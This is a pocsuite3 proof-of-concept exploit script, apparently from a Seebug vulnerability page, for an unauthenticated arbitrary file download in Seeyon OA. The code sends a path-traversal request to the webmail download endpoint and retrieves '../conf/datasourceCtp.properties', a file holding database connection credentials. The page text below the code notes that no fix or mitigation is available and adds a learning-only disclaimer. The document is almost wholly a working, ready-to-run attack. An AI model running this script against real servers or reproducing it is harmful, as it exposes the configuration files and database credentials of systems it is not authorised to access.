from urllib.parse import urljoin from pocsuite3.api import Output, POCBase, logger, requests, register_poc class DemoPOC(POCBase): vulID = '99114' # ssvid version = '3.0' author = [''] vulDate = '2021-1-27' createDate = '2021-1-27' updateDate = '2021-1-27' references = [''] name = 'Seeyon OA UNAuth File Download' appPowerLink = '' appName = 'Seeyon OA' appVersion = '' vulType = 'RCE' desc = ''' 致远OA未授权任意文件下载 ''' samples = [] install_requires = [''] def check(self, file_path, check_flag): vul_url = urljoin(self.url, '/seeyon/webmail.do?method=doDownloadAtt&filename=PeiQi.txt&filePath={}'.format(file_path)) resp = requests.get(vul_url) if resp.status_code == 200 and check_flag in resp.text: return resp.text def _verify(self): result = {} try: file_path = '../conf/datasourceCtp.properties' check_flag = 'ctpDataSource' data = self.check(file_path, check_flag) if data: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['FilePath'] = file_path result['VerifyInfo']['FileContent'] = data except Exception as e: logger.error(str(e)) return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(DemoPOC)
暂无临时解决方案
暂无官方解决方案
暂无防护方案
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论